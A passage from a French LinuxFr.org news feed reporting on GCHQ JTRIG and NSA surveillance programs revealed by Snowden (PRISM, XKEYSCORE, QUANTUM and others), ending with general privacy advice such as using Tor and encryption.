<p>La mise en place de pots de miel fait aussi partie du catalogue du JTRIG, et il arrive qu'une opération soit mise en place pour leurrer une cible en lui faisant miroiter une possibilité de relation amoureuse et/ou sexuelle et ainsi l'amener à faire quelque chose (le B.A.BA des services de renseignements quoi…). C'est typiquement ce qui s'est passé en 1986 avec Mordechai Vanunu et l'agente du Mossad (les services de renseignements israéliens) Cheryl Bentov.</p>
<p><a href="http://www.libwalk.so/2014/08/1/gchq-jtrig-part1.html#collapseThree">Plus d'infos sur le cas Julian Assange</a></p>
<h4 id="réseaux-sociaux">Réseaux sociaux</h4>
<p><em>La propagande est à la Démocratie ce que la violence est aux dictatures. Noam Chomsky</em></p>
<p>Et ça le GCHQ l'a trop bien compris, ils peuvent accroître artificiellement le trafic d'un site (GATEWAY), amplifier un message (c'est à dire augmenter le nombre de vues et donc le référencement), comme une vidéo sur Youtube (GESTATOR), ou encore modifier un mur Facebook aussi bien pour une seule personne que pour un pays entier (CLEANSWEEP).</p>
<p>Ils ont aussi bien la possibilité de modifier les photos d'utilisateurs sur les réseaux sociaux que d'envoyer des courriels ou des sms à vos collègues ou à vos voisins à votre place, il est indiqué dans les documents fuités que ce type de méthode a aidé la police britannique à « arrêter des criminels ».</p>
<p>Donc, maintenant, si (par exemple) vous trompez votre conjoint-e et qu'arrive le moment où vous vous trompez de destinataire lors de l'envoi d'un message, vous avez maintenant l'excuse « c'est une opération des services de renseignements anglais pour me discréditer ! ». Pas mal non ?</p>
<h4 id="quelques-programmes-bonus">Quelques programmes bonus</h4>
<p><img src="//img.linuxfr.org/img/687474703a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031342f6a747269675f64336a732e706e67/jtrig_d3js.png" alt="Autres programmes" title="Source : http://www.libwalk.so/images/2014/jtrig_d3js.png"></p>
<ul>
<li>BABYLON permet de faire une requête sur une adresse de courriel Yahoo ou Hotmail (à la date du document) pour savoir quand elle est utilisée ou non ce qui permet de savoir quand s'y connecter.</li>
<li>DANCING BEAR permet d'obtenir la localisation d'un point d'accès wifi.</li>
<li>HACIENDA permet de scanner une ville ou un pays entier</li>
<li>SWAMP DONKEY localise des types de fichiers prédéfinis et les chiffre.</li>
<li>DEEPSTALKER aide à la géolocalisation des téléphones satellites et des GSM en faisant un « appel silencieux » (invisible pour la cible).</li>
<li>SQUEAKY DOLPHIN permet une supervision en temps-réel des vues sur Youtube, des Likes sur Facebook ou encore des visites sur Blogspot/Blogger. Ce qui permet de récupérer des informations pertinentes sur des tendances (diapos 29 à 32), et donc potentiellement "prévoir" des événements (l'exemple dans les diapos concerne les tags "14FEB", "Bahrain" et "March rally" le 13 février 2012, c'est à dire la veille du premier anniversaire du « jour de colère » au Bahrein).</li>
</ul><h4 id="pour-finir">Pour finir</h4>
<pre><code> "Nul ne sera l'objet d'immixtions arbitraires dans sa vie privée, sa famille, son domicile ou sa correspondance, ni d'atteintes à son honneur et à sa réputation. Toute personne a droit à la protection de la loi contre de telles immixtions ou de telles atteintes." Article 12 de la déclaration universelle des droits de l'homme
</code></pre>
<p>Que pouvons nous faire ? La réponse est simple à écrire, mais plus difficile à mettre en œuvre, il faut commencer par faire son modèle de menace, après ça, vous avez le choix : chiffrer, tout, tout le temps. Utiliser Tor, dont les services cachés, le plus souvent possible. Mettre en place des machines virtuelles dédiées (par exemple KVM ou virtualbox—pour les adminsys : SSH au-dessus de Tor seulement par exemple, navigation web), utiliser des logiciels libres (vous méritez de vous faire prendre sinon ;-)), SSL/TLS par défaut pour TOUT, OTR sur les messageries, ouvrir les liens que quelqu'un vous donne sur une machine distante (sans lien avec vous) ou sur une VM… etc.</p>
<p>Et évidemment, ne pas faire de conneries : toute la crypto du monde ne vous protégera jamais si vous faites des erreurs bêtes, comme permettre des passerelles entre votre pseudo et votre nom (comme une adresse de courriel). Le fondateur de SilkRoard, William Ulbricht (dit Dread Pirate Robert's) peut en témoigner.</p></div><div><a href="https://linuxfr.org/news/que-peut-faire-le-service-d-elite-jtrig-du-gchq.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/102931/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/que-peut-faire-le-service-d-elite-jtrig-du-gchq#comments">ouvrir dans le navigateur</a>
</p>
skhaenBenoît SibaudZeroHeurerootixhttps://linuxfr.org/nodes/102931/comments.atomtag:linuxfr.org,2005:News/355752014-08-02T21:50:24+02:002014-08-10T20:52:35+02:00NSA - temps de faire le (premier) pointLicence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>Préambule : bonjour tout le monde, j'ai écrit cet article il y quelques jours (NdM: sur son blog, puis republié par Reflets.info), j'en profite pour le partager avec vous. La version originale possède énormément de liens et je ne peux pas tout mettre ici, vous avez le lien vers l'article en question en bas de la page.</p>
<p><img src="//img.linuxfr.org/img/687474703a2f2f75706c6f61642e77696b696d656469612e6f72672f77696b6970656469612f636f6d6d6f6e732f342f34662f4e53412d7371756172652e6a7067/NSA-square.jpg" alt="" title="Source : http://upload.wikimedia.org/wikipedia/commons/4/4f/NSA-square.jpg"></p>
<p>En 1988, on commença à parler du programme Echelon ; vient ensuite Frenchelon ; et bien sûr le lanceur d'alerte Edward Snowden. La Quadrature du Net a mis en place le site nsa-observer pour regrouper les infos. Dans la suite de la dépêche, un petit tour d'horizon rapide de ce site.</p></div><ul><li>lien nᵒ 1 : <a title="http://www.libwalk.so/2014/07/14/NSA-temps-de-faire-le-premier-point.html" hreflang="fr" href="https://linuxfr.org/redirect/91192">Article complet et tous les liens sur libwalk.so (blog de Skhaen)</a></li><li>lien nᵒ 2 : <a title="https://www.nsa-observer.net" hreflang="fr" href="https://linuxfr.org/redirect/91193">nsa-observer</a></li><li>lien nᵒ 3 : <a title="http://reflets.info/nsa-il-est-temps-de-faire-le-premier-point/" hreflang="fr" href="https://linuxfr.org/redirect/91197">Article republié par Reflets.info</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li>
<a href="#petite-introduction">(petite) Introduction</a><ul>
<li><a href="#ce-qui-nous-am%C3%A8ne-%C3%A0">Ce qui nous amène à…</a></li>
<li><a href="#et-%C3%A0-un-premier-tour-dhorizon">Et à un premier tour d'horizon</a></li>
</ul>
</li>
<li>
<a href="#la-collecte-de-donn%C3%A9es">La collecte de données</a><ul>
<li><a href="#upstream--tempora--rampart-x">UPSTREAM / TEMPORA / RAMPART-(x)</a></li>
<li><a href="#prism">PRISM</a></li>
<li><a href="#muscular">MUSCULAR</a></li>
<li><a href="#victory-dance">VICTORY DANCE</a></li>
<li><a href="#mystic">MYSTIC</a></li>
<li><a href="#anticrisis-girl">ANTICRISIS GIRL</a></li>
<li><a href="#xkeyscore">XKEYSCORE</a></li>
<li><a href="#optic-nerve-gchq">OPTIC NERVE (GCHQ)</a></li>
<li><a href="#quantum-%C3%A0-lire-en-%C3%A9coutant-attack">QUANTUM (à lire en écoutant Attack !)</a></li>
<li><a href="#hunt-sysadmins-%C3%A0-lire-en-%C3%A9coutant-a-bullet-in-your-head">HUNT SYSADMINS (à lire en écoutant "a bullet in your head")</a></li>
<li><a href="#interdiction">INTERDICTION</a></li>
</ul>
</li>
<li><a href="#et-pour-finir">Et pour finir</a></li>
</ul><p><img src="//img.linuxfr.org/img/68747470733a2f2f7777772e6e73612d6f627365727665722e6e65742f696d616765732f6e73616f627365727665722d70726f6772616d732e706e67/nsaobserver-programs.png" alt="logo NsaObserver" title="Source : https://www.nsa-observer.net/images/nsaobserver-programs.png"></p>
<h2 id="petite-introduction">(petite) Introduction</h2>
<p>En 1988, le journaliste Duncan Campbell révéla l'existence d'un programme de renseignement, Echelon, dans un article pour The New Statesman qui s'intitulait "Somebody's listening". En 1996, c'était le journaliste néo-zélandais Nicky Hager qui publiait "Secret power" sur l'implication de son pays dans le programme. En 1999, suite à une demande du Parlement Européen, Duncan Campbell rend un rapport intitulé "Interception capabilities 2000" pour le STOA (Science and Technology Options Assessment du Parlement Européen—traduction française disponible sous le titre "surveillance électronique planétaire" aux éditions Allia).</p>
<p>Pour rappel, le projet Echelon désignait un système mondial d'interception SIGINT via les satellites, et regroupant les États-Unis (NSA), le Royaume-Uni (GCHQ), le Canada (CSTC), l’Australie (DSD) et la Nouvelle-Zélande (GCSB) dans le cadre du traité UKUSA.</p>
<p>Pour ne pas rester derrière, la France a rapidement mis en route un projet similaire, surnommé "frenchelon".</p>
<h3 id="ce-qui-nous-amène-à">Ce qui nous amène à…</h3>
<p>Edward Snowden. Cet (ex-)analyste de la CIA et de la NSA décide d'alerter l'ensemble de la planète sur les capacités d'écoute et d'interception des États-unis et de ses alliés. Nous n'allons pas nous étendre là-dessus. Vous pouvez lire cette histoire un peu partout autour de vous.</p>
<p>Fin 2013, ne trouvant aucune base de données des différents programmes, La Quadrature du Net commence grâce à quelques bénévoles le site <a href="https://www.nsa-observer.net/">https://www.nsa-observer.net/</a> qui regroupe l'ensemble des programmes de la NSA et du GCHQ provenant des fuites de Snowden.</p>
<h3 id="et-à-un-premier-tour-dhorizon">Et à un premier tour d'horizon</h3>
<p>Même si l'immense majorité des programmes est sous l'égide de la NSA (National Security Agency) et donc des États-unis, certains programmes viennent d'autres pays (en particulier du Royaume-uni via le GCHQ). La NSA classe ses pays partenaires en 3 grandes familles :</p>
<ul>
<li>
<strong>Five Eyes</strong> (FVEY / AUSCANNZUKUS)</li>
</ul><ol>
<li>États-unis (indicatif pays : USA - agence : NSA),</li>
<li>Royaumes-unis (indicatif pays : GBR - agence : GCHQ),</li>
<li>Nouvelle-Zélande (indicatif pays : NZL - agence : GCSB),</li>
<li>Canada (indicatif pays : CAN - agence : CSEC),</li>
<li>Australie (indicatif pays : AUS - agence : ASD).</li>
</ol><ul>
<li>
<strong>Nine Eyes</strong> : consiste aux Five Eyes avec en plus : le Danemark, la France, les Pays-Bas et la Norvége.</li>
<li>
<strong>Fourteen Eyes</strong> (SSEUR - Sigint Senior EURope) : les Nine Eyes plus l'Allemagne, la Belgique, l'Italie, l'Espagne et la Suède.</li>
</ul><h2 id="la-collecte-de-données">La collecte de données</h2>
<p>Les services récupèrent tout ce qu'ils peuvent, c'est-à-dire dans le désordre :</p>
<p>Tout ce que vous faites avec un navigateur (sans oublier sa version, la langue, les plugins installés…), les flux voix (VoIP, GSM, téléphone fixe…), fax, courriels, chats (MSN-like, Jabber…), vidéos (que ce soit en provenance de Youtube, de Skype,…), photos, fichiers (en transferts, stockés, …), DNI (Digital Network Intelligence), DNR, empreintes des réseaux wifi (cf. VICTORY DANCE en dessous), activités sur les réseaux sociaux, détails des comptes Google/Yahoo/outlook…), et j'en passe.</p>
<p>Pour faire simple, tout ce que vous faites laisse forcément des traces quelque part. Et c'est ce qu'ils cherchent, collectent, et parfois stockent. Voici donc la première partie de ce tour d'horizon concernant quelques programmes de la NSA et du GCHQ.</p>
<h3 id="upstream--tempora--rampart-x">UPSTREAM / TEMPORA / RAMPART-(x)</h3>
<p>Aussi connu sous le nom de "ROOM641A", le programme UPSTREAM a commencé en 2003, a été révélé en 2006 et consiste en la collecte via des "écoutes" sur les câbles de fibres optiques (oui, je simplifie énormément). Le projet UPSTREAM concerne la collecte sur l'ensemble des fibres optiques trans-océaniques, qui permettent l'acheminement des communications internationales, comme Internet, les appels, les SMS…</p>
<p>UPSTREAM englobe beaucoup de sous-programmes qui correspondent à des régions du monde. Ils collectent différentes données (DNI, DNR, métadonnées, contenu, voix, fax…). Pour plus de détails sur UPSTREAM et ses sous-programmes, je vous conseille le blog electrospaces.</p>
<p>TEMPORA est l'équivalent d'UPSTREAM pour le Royaume-uni, et RAMPART l'équivalent en coopération via certains pays Européens.</p>
<h3 id="prism">PRISM</h3>
<p>PRISM est un accès direct aux serveurs de certaines compagnies américaines : Microsoft (+Skype), Yahoo, Google (+Youtube), Facebook, PalTalk, AOL, Apple…</p>
<p>Ce programme permet de faire des requêtes concernant des personnes ou des groupes précis concernant les courriels, les chats/vidéos, les photos, les données stockées (coucou le cloud), de la VoIP, etc. Il suffit de voir les différents services de ses compagnies pour avoir une idée de qu'ils peuvent avoir. PRISM est donc utilisé pour "cibler" quelqu'un en particulier.</p>
<h3 id="muscular">MUSCULAR</h3>
<p>Ce programme a fait beaucoup parler de lui quand il a été rendu public, et pour cause : il permet l'interception des données entre les datacenters de Google (et de Yahoo) ce qui permet entre autres d'éviter les connexions HTTPS clients/serveurs. Google a chiffré ses communications inter-datacenters depuis.</p>
<h3 id="victory-dance">VICTORY DANCE</h3>
<p>Il s'agit d'une coopération entre la CIA et la NSA au Yémen. Ils ont listé les empreintes wifi de presque toutes les grandes villes yéménites via des drones (si vous ne voyez pas à quoi ça peut servir, cf. XKEYSCORE).</p>
<p>Je vous laisse vous rappeler ce que les Google Cars ont fait pendant un bon moment dans le reste du monde et ce que ça a pu devenir depuis…</p>
<h3 id="mystic">MYSTIC</h3>
<p>MYSTIC est un ensemble de programme qui collecte des données (le plus souvent provenant des téléphones et/ou des GSM) dans certains pays. On peut ainsi noter ACIDWASH (qui a collecté entre 30 et 40 millions de métadonnées par jour en Afghanistan), DUSKPALLET (qui vise les GSM au Kenya), EVENINGWEASEL (wifi mexicain) et SOMALGET.</p>
<p>SOMALGET permet de "monitorer" les systèmes de télécommunications d'un pays (via des entreprises américaines implantées localement le plus souvent). Ce programme a visé les Bahamas (sans doute pour servir de test avant de passer à plus gros) puis l'Afghanistan où il a collecté et stocké TOUS les appels téléphoniques, aussi bien localement que vers l'international.<br>
Mais que fait-on des données après ?</p>
<p>Voici justement quelques exemples.</p>
<h3 id="anticrisis-girl">ANTICRISIS GIRL</h3>
<p>Via des programmes comme UPSTREAM / TEMPORA / RAMPART qui permettent de faire de la collecte passive, il est possible de collecter les adresses IP des personnes se connectant à un site, par exemple au site wikileaks.org ou aux recherches Google ayant permis l'accès au site.</p>
<h3 id="xkeyscore">XKEYSCORE</h3>
<p>XKEYSCORE consiste en un ensemble d'interfaces et de bases de données qui permettent de sélectionner certaines données collectés via différents moyens (et il y en a beaucoup).</p>
<p>Voici quelques exemples des possibilités de ce programme :</p>
<ul>
<li>trouve moi tous les Allemands (disons germanophones, via la langue du navigateur) qui sont en Afghanistan (géolocalisation de l'IP) et qui ont été sur youporn et sur Facebook dans les dernières 24h.</li>
<li>marque comme "extrémiste" toutes les personnes (connexion IP) allant sur le site du projet Tor ou sur celui du projet Tails. Même chose si la source télécharge Tor.</li>
</ul><p>Ne vous leurrez pas, ce dernier exemple est bel et bien réel, je vous laisse voir par vous même :</p>
<ul>
<li><a href="http://rt.com/news/170208-nsa-spies-tor-users/">XKeyscore exposed: How NSA tracks all German Tor users as 'extremists'</a></li>
<li><a href="http://www.wired.com/2014/07/nsa-targets-users-of-privacy-services/">The NSA Is Targeting Users of Privacy Services, Leaked Code Shows</a></li>
</ul><h3 id="optic-nerve-gchq">OPTIC NERVE (GCHQ)</h3>
<p>En 2008, ce programme a collecté une photo toutes les 5 secondes provenant de chaque flux vidéo des chats Yahoo (soit environ 1.8 millions d'utilisateurs sur une période de 6 mois). Les documents indiquent qu'il y a un avertissement pour les opérateurs car l'on y trouve entre 8 et 12% de "nudité" (à prendre au sens large).</p>
<p>Pour information, en 2008 déjà, le GCHQ indique faire des tests pour de la reconnaissance faciale automatique, ainsi que pour la XBOX360. Nous sommes maintenant en 2014, je parie que c'est aussi le cas pour Skype) ainsi que pour Snapchat. N'oubliez pas que la X BOX ONE a une caméra et un micro allumé 24/7, avec de la reconnaissance faciale/vocale par défaut).</p>
<p>La NSA espionne aussi certains sites pornos.</p>
<p>Et oui ! Et il parait que c'est pour la lutte contre le terrorisme (comme le reste quoi…) : par exemple pouvoir faire pression sur un intégriste musulman parce qu'il a été "vu" en train de regarder du porno.</p>
<p>Une cible ? Que peut-on faire ?</p>
<h3 id="quantum-à-lire-en-écoutant-attack">QUANTUM (à lire en écoutant Attack !)</h3>
<p>Pour rediriger une cible vers un serveur FOXACID, la NSA réalise un Man-in-the-Middle (ou Man-on-the-Side) sur une connexion vers des serveurs de compagnies US (google (gmail), yahoo, linkedin..) grâce à l'emplacement de nœuds (TAO nodes) à des endroits clés sur le réseau (comprendre : "sur les dorsales de certains FAI"). La NSA utilise donc ses nœuds pour permettre des redirections à la volée vers les serveurs FOXACID, qui lanceront eux-mêmes différents types d'attaques selon la cible et les besoins.</p>
<p>Il existe beaucoup de sous-programmes pour QUANTUM, chacun vise quelque chose en particulier, comme QUANTUMBOT pour IRC, QUANTUMINSERT (implantation de malware - utilisé dans le hack de Belgacom), QUANTUMCOOKIE (force les cookies dans le navigateur ciblé), QUANTUMSPIM (messagerie instantanée, comme MSN ou XMPP)…</p>
<h3 id="hunt-sysadmins-à-lire-en-écoutant-a-bullet-in-your-head">HUNT SYSADMINS (à lire en écoutant "a bullet in your head")</h3>
<p>ATTENTION : j'ai volontairement fait au plus rapide en "coupant" la partie technique, merci de suivre les liens pour approfondir ! C'est TRÈS intéressant !</p>
<p>Je dois vous avouer que j'ai réellement hurlé en lisant les posts sur un forum interne d'un opérateur de la NSA qui s'intitule "hunt sysadmins". Cet opérateur raconte que le meilleur moyen d'avoir accès à des informations est de "passer" par les administrateurs systèmes qui ont accès aux serveurs ou aux routeurs (possibilité de mettre la main sur la topologie des réseaux, trouver des configurations, obtenir des accès, des courriels…).</p>
<p>Il explique ainsi comment ils collectent PASSIVEMENT toutes les transmissions via le protocole Telnet (programme DISCOROUTE). Oui, quand je parle de Telnet je parle bien du procotole développé en 1968 (dans la RFC 15, c'est dire si c'est vieux !), absolument non sécurisé (aucun chiffrement), et qui est apparemment encore pas mal utilisé pour administrer des routeurs à distance.</p>
<p>Il explique alors comment identifier un administrateur système, trouver son webmail et/ou son compte Facebook (oui oui) et de là utiliser la famille QUANTUM pour réaliser une attaque et avoir un accès à sa machine ET/OU au(x) routeur(s).</p>
<p>Et là, comme tout le monde, tu te dis "Moi j'utilise SSH \o/"</p>
<p>Sauf qu'il explique AUSSI comment identifier une personne ayant accès à un serveur en SSH. Shorter : on peut deviner qui a vraiment accès à un serveur selon la taille des paquets qui passent et le temps de connexion.</p>
<p>Une fois la source (via l'IP) identifiée, vous pouvez voir (par exemple avec XKEYSCORE) les connexions à des webmails, Facebook (ou n'importe quoi qui peut l'identifier), et là, PAN ! Tu peux le QUANTUM-ifier \o/</p>
<p>Et il termine gentiment sur le pourquoi et comment prendre la main sur un routeur (fort instructif aussi).</p>
<p>ATTENTION : encore une fois, TOUT le document est disponible en ligne, je vous conseille GRANDEMENT la lecture (et c'est obligatoire si vous êtes sysadmins ;-)).</p>
<h3 id="interdiction">INTERDICTION</h3>
<p>C'est tout simplement la possibilité pour la NSA d'intercepter un colis (comme l'ordinateur que vous venez de commander en ligne), d'installer ce qu'ils veulent dessus (comme un firmware persistant dans le BIOS, un composant permettant à un appareil de la famille d'ANGRYNEIGHBOR (qui porte toujours aussi bien son nom) de fonctionner…).</p>
<p>Il suffit de jeter un coup d'oeil au catalogue pour avoir une idée de ce qu'ils peuvent faire.</p>
<h2 id="et-pour-finir">Et pour finir</h2>
<p>« Le monde ne sera pas détruit par ceux qui font le mal, mais par ceux qui les regardent sans rien faire. » (Albert Einstein)</p>
<p>Je pense qu'après ce tour d'horizon rapide (il y a plus de 400 programmes sur nsa-observer.net), tout le monde aura compris que cette voie est dangereuse. Il est impossible de prévoir qui décidera de son utilisation demain, ni même aujourd'hui.</p>
<p>Nous ne pouvons pas faire confiance aux gouvernements et encore moins aux entreprises pour assurer notre sécurité et notre vie privée.</p>
<p>Nous pouvons, par contre, nous appuyer sur la société civile (comme l'EFF (eff.org) ou La Quadrature du Net, les lanceurs d'alerte (comme Chelsea Manning ou Edward Snowden) et sur des outils qui ne nous trahiront pas, comme les logiciels libres.</p>
<p>La cryptographie fonctionne ! Et c'est une des nouvelles importantes de ces révélations. Il existe des tutoriaux partout sur le Net pour se mettre à chiffrer ses communications. Je vous laisse aller voir OTR pour Jabber (messagerie instantanée), SSL/TLS pour à peu près tout (courriel, chat,…), GPG (qui demande un niveau technique un peu supérieur), Tor, et surtout, surtout, je vous invite à venir à des cryptoparty / café vie privée pour apprendre à s'en servir :)</p></div><div><a href="https://linuxfr.org/news/nsa-temps-de-faire-le-premier-point.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/102912/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/nsa-temps-de-faire-le-premier-point#comments">ouvrir dans le navigateur</a>
</p>
skhaenBenoît SibaudNeoXpalm123NÿcoFlorent Zarahttps://linuxfr.org/nodes/102912/comments.atom